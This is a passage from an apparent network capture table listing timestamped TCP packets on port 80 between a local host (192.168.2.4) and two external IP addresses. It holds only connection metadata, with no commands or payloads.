Dec 20, 2024 07:12:46.426071882 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.426142931 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.427053928 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.427110910 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.427144051 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.427264929 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.428049088 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.428109884 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.428132057 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.428178072 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.429092884 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.429147959 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.429208994 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.429270983 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.430119991 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.430205107 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.430264950 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.430336952 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.431149006 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.431210041 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.431271076 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.431390047 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.432216883 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.432272911 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.432300091 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.432400942 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.447242022 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:46.533711910 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.533850908 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.533941031 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:46.534234047 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.534349918 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.535229921 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.535262108 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:46.535280943 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.535552025 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:46.536267996 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.536405087 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.536705971 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:46.537291050 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.537342072 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.537393093 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:46.538351059 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.538422108 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.538471937 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:46.539338112 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.539386988 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.539429903 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:46.540358067 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.540468931 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.540517092 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:46.541383982 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.541491032 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.541594982 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:46.542418957 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.542470932 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.542557001 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:46.543397903 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.543524981 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.543648005 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:46.544441938 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.544557095 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.544692039 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:46.545501947 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.545571089 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.545645952 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:46.546519995 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.546623945 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.546690941 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:46.547502995 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.547569990 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.547667027 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:46.548512936 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.548566103 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.548969984 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:46.549550056 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.549603939 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.549736023 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:46.550561905 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.550633907 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.550879955 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:46.551577091 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.551629066 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.551783085 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:46.552603006 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.552719116 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.552772045 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:46.553613901 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.553739071 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.554630041 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.554780006 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.554810047 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:46.555663109 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.555807114 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.555839062 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:46.556078911 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:46.556658030 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.556812048 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.557689905 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.557722092 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:46.557796001 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.558497906 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:46.558691978 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.558779955 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.558876038 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:46.559730053 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.559869051 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.560435057 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:46.560811996 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.560904026 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.561577082 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:46.561794043 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.561889887 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.562031031 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:46.562808990 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.562927008 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.563154936 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:46.563813925 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.563949108 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.564156055 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:46.564865112 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.564964056 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.565434933 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:46.565857887 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.565974951 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.566149950 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:46.566891909 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.567045927 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.567487001 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:46.567905903 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.568033934 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.568188906 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:46.568914890 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.569056034 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.569222927 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:46.569956064 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.570081949 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.570262909 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:46.570596933 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.570647955 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:46.570657015 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.570712090 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.570900917 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.570990086 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.571185112 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.571219921 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.571278095 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:46.571341991 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.571361065 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.572007895 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.572149038 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.572182894 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.572200060 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.572242022 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.572252989 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:46.572254896 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.572565079 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.573007107 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.573128939 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.573180914 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.573214054 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.573235989 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:46.573239088 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.573405027 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.574035883 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.574162960 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.574246883 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:46.574268103 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.574302912 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.574336052 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.574508905 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.575081110 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.575203896 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.575254917 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:46.575274944 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.575309038 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.575340986 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.575375080 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.576073885 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.576281071 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.576328993 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:46.576332092 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.576364994 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.576394081 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.576428890 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.577136040 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.577259064 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.577321053 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.577352047 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:46.577354908 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.577382088 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.577435017 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.578092098 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.578238010 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.578288078 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:46.578336000 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.578433037 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.578449011 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.578576088 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.579166889 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.579217911 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.579293966 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:46.579387903 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.579493999 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.579524994 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.579577923 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.580141068 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.580255032 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.580353022 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:46.580394983 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.580513000 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.580563068 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.580595016 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.581159115 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.581309080 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.581480980 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:46.581501007 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.581618071 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.581650972 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.581701040 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.582192898 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.582319021 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.582374096 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:46.582499981 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.582552910 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.582616091 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.582715034 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.583200932 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.583358049 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.583415031 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:46.583528996 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.583616018 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.583657980 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.583729029 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.584259987 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.584378958 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.584475040 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:46.584552050 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.584624052 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.584688902 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.584774017 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.585263014 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.585369110 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.585421085 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:46.585578918 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.585650921 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.585714102 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.585772038 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:46.585773945 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.586261034 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.586390018 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.586494923 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:46.586648941 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.586749077 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.586782932 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.586854935 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.587256908 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.587692022 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.587794065 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.587903976 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.588722944 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.588828087 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.588851929 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.588918924 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.589767933 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.589838028 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.589895010 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.589962006 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.590805054 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.590873003 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.590955973 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.591022015 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.591842890 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.591933966 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.591964006 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.592082024 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.592936039 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.593055010 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.593101025 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.593388081 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.594022989 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.594063044 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.594090939 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.594149113 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.594943047 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.595052004 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.595072031 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.595233917 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.595994949 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.596098900 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.596148014 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.596148014 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.597017050 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.597090960 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.597135067 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.597320080 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.598064899 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.598198891 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.598222971 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.598316908 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.599500895 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.599538088 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:46.599567890 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.599617004 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.599817991 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.600157976 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.600234985 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.600362062 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.600471973 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.601202965 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.601365089 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.601537943 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.602212906 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.602284908 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.602333069 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.602401018 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.603271961 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.603344917 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.603434086 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.604286909 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.604432106 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.604465961 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.604681969 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.605329037 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.605441093 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.605475903 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.605524063 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.606374979 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.606507063 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.606519938 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.606698036 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.607419014 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.607516050 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.607698917 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.608443022 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.608549118 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.608566999 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.608705044 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.609491110 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.609581947 CET	80	49867	31.41.244.11	192.168.2.4
